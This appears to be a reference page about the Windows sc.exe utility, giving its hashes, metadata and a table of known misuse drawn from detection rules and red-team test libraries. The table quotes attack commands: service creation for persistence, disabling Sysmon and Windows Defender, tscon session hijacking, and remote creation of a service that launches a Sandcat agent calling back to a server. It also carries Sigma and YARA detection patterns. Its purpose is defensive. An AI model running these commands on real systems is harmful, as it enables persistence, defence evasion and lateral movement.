sc.exe

  • File Path: C:\windows\SysWOW64\sc.exe
  • Description: Service Control Manager Configuration Tool

Hashes

Type Hash
MD5 8D2C2B54B86AF85923EEBFE5AEF68280
SHA1 C612630FD4E3EB014906F2F8461555F4482A6B5C
SHA256 ED168045D0402E26305699442FC2B019B9967CA401E084748A763E8F08A5651C
SHA384 5836AF69047881C80EA51A34F31F3AC4580D3F597CA216D67660A1FE6C7D77D360A61949E5167576A382DE7081BBF153
SHA512 70BA843091E9C8CD391BBDD3BCDD7B3718B8CA1AD8BCC0E6BD49F8CBE0D3CAD1E2E196309BB9AADD4D77296D8F874F60594C22400CC7E93EA213BAC271A07BE6
SSDEEP 768:fDbGCqjwFlNmuRLKwp8cnqYEh3BfLPEAe10WZr0guWhfTRRBmvl1ok0ENuaBgYo:fD6yFlNKMefLPEAe1fqhofTblk/8aB7

Signature

  • Status: The file C:\windows\SysWOW64\sc.exe is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170
  • Serial: ``
  • Thumbprint: ``
  • Issuer:
  • Subject:

File Metadata

  • Original Filename: sc.exe.mui
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 6.3.9600.16384 (winblue_rtm.130821-1623)
  • Product Version: 6.3.9600.16384
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.

Possible Misuse

The following table contains possible examples of sc.exe being misused. While sc.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma image_load_suspicious_dbghelp_dbgcore_load.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_multiple_suspicious_cli.yml - sc.exe DRL 1.0
sigma proc_creation_win_new_service_creation.yml - Image\|endswith: '\sc.exe' DRL 1.0
sigma proc_creation_win_service_stop.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_recon.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_service_dacl_modification.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_service_path_modification.yml Image\|endswith: '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_spoolsv_child_processes.yml - \sc.exe DRL 1.0
sigma proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml description: Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand DRL 1.0
sigma proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml Image\|endswith: '\sc.exe' DRL 1.0
sigma proc_creation_win_using_sc_to_hide_sevices.yml description: Detection of sc.exe utility adding a new service with special permission which hides that service. DRL 1.0
sigma proc_creation_win_using_sc_to_hide_sevices.yml Image\|endswith: '\sc.exe' DRL 1.0
LOLBAS Sc.yml Name: Sc.exe  
LOLBAS Sc.yml - Path: C:\Windows\System32\sc.exe  
LOLBAS Sc.yml - Path: C:\Windows\SysWOW64\sc.exe  
malware-ioc misp-badiis.json "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", © ESET 2014-2018
atomic-red-team T1489.md Stops a specified service using the sc.exe command. Upon execution, if the spooler service was running infomration will be displayed saying MIT License. © 2018 Red Canary
atomic-red-team T1489.md sc.exe stop #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1489.md sc.exe start #{service_name} >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md <blockquote>Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg. MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md Upon successful execution, powershell will download AtomicService.exe from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe create #{service_name} binPath= #{binary_path} MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe start #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe stop #{service_name} >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe delete #{service_name} >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe delete W64Time MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 } MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md sc.exe config #{service_name} start= disabled MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md sc.exe config #{service_name} start= auto >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1563.002.md sc.exe create sesshijack binpath= “cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}” MIT License. © 2018 Red Canary
atomic-red-team T1563.002.md sc.exe delete sesshijack >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md <blockquote>Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net. MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file art-marker.txt MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md sc.exe create #{service_name} binPath= “#{executable_command}” MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md sc.exe start #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md sc.exe delete #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md <blockquote>Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security) MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md sc.exe delete #{weak_service_name} MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md sc.exe create #{weak_service_name} binpath= “#{weak_service_path}” MIT License. © 2018 Red Canary
atomic-red-team T1588.002.md #{local_folder}#{local_executable} /EXEFilename “C:\Windows\System32\sc.exe” /WindowState 0 /CommandLine “stop WinDefend” /StartDirectory “” /RunAs 8 /Run MIT License. © 2018 Red Canary
signature-base crime_ransom_robinhood.yar $s4 = “sc.exe stop SQLAgent$SQLEXPRESS” nocase CC BY-NC 4.0
signature-base gen_empire.yar $s1 = “$Result = sc.exe config $($TargetService.Name) binPath= $OriginalPath” fullword ascii CC BY-NC 4.0
signature-base gen_empire.yar $s2 = “$Result = sc.exe pause $($TargetService.Name)” fullword ascii CC BY-NC 4.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} stop sandsvc; Apache-2.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} delete sandsvc /f; Apache-2.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} create sandsvc start= demand error= ignore binpath= "cmd /c start C:\Users\Public\s4ndc4t.exe -server #{server} -v -originLinkID #{origin_link_id}" displayname= "Sandcat Execution"; Apache-2.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} start sandsvc; Apache-2.0

MIT License. Copyright (c) 2020-2021 Strontic.